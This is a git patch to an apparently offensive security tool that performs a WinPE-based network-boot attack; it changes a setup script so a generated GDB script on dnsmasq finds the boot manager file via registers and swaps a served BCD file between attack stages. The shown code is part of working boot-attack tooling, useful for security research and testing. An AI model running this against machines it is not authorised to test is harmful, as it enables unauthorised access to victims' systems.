From 7590d72d6439c49829ac07e8b051754cb9e49647 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marc=20Andr=C3=A9=20Tanner?= <mat@brain-dump.org>
Date: Wed, 21 May 2025 21:51:57 +0200
Subject: [PATCH] winpe: improve compatibility of GDB automation

Previously it would fail if no symbol table for libc was available,
because the named first argument used in the break point condition
would not be found. Instead, use registers according to the calling
convention for x86_64 and aarch64 and fall back to the named argument
(relying on symbols) for other architectures.
---
 README.md              |  2 +-
 pxe/start-pxe-winpe.sh | 23 ++++++++++++++++++++---
 2 files changed, 21 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md
index 14b2a8d..4a8adeb 100644
--- a/README.md
+++ b/README.md
@@ -92,7 +92,7 @@ also need:
 
  - dnsmasq
  - impacket's smbserver.py
- - GDB (for the WinPE-based attack strategy)
+ - GDB with Python support (for the WinPE-based attack strategy)
 
 ### Linux Initramfs Generation
 
diff --git a/pxe/start-pxe-winpe.sh b/pxe/start-pxe-winpe.sh
index b026d9a..e80bf86 100755
--- a/pxe/start-pxe-winpe.sh
+++ b/pxe/start-pxe-winpe.sh
@@ -7,11 +7,28 @@ interface=$1
 
 sudo ip a add 10.13.37.100/24 dev $interface
 
-cat <<'EOF' > "$scriptpath/dnsmasq.winpe.gdb"
+arch=$(uname -m)
+reg=""
+
+case "$arch" in
+    x86_64)
+        reg="\$rdi"
+        ;;
+    aarch64)
+        reg="\$x0"
+        ;;
+    *)
+        echo "WARNING: Unsupported architecture: $arch"
+        echo "Make sure symbols are available."
+        reg="file"
+        ;;
+esac
+
+cat <<EOF > "$scriptpath/dnsmasq.winpe.gdb"
 set breakpoint pending on
 break open
 break open
-condition 1 $_regex(file, ".*/bootmgfw\\.efi$")
+condition 1 \$_regex((char*)$reg, ".*/bootmgfw\\.efi$")
 commands 1
   print "Preparing stage 1"
   disable 1
@@ -19,7 +36,7 @@ commands 1
   shell ln -sf BCD_winpe1 smb/BCD
   continue
 end
-condition 2 $_regex(file, ".*/bootmgfw-stage2\\.efi$")
+condition 2 \$_regex((char*)$reg, ".*/bootmgfw-stage2\\.efi$")
 commands 2
   print "Preparing stage 2"
   disable 2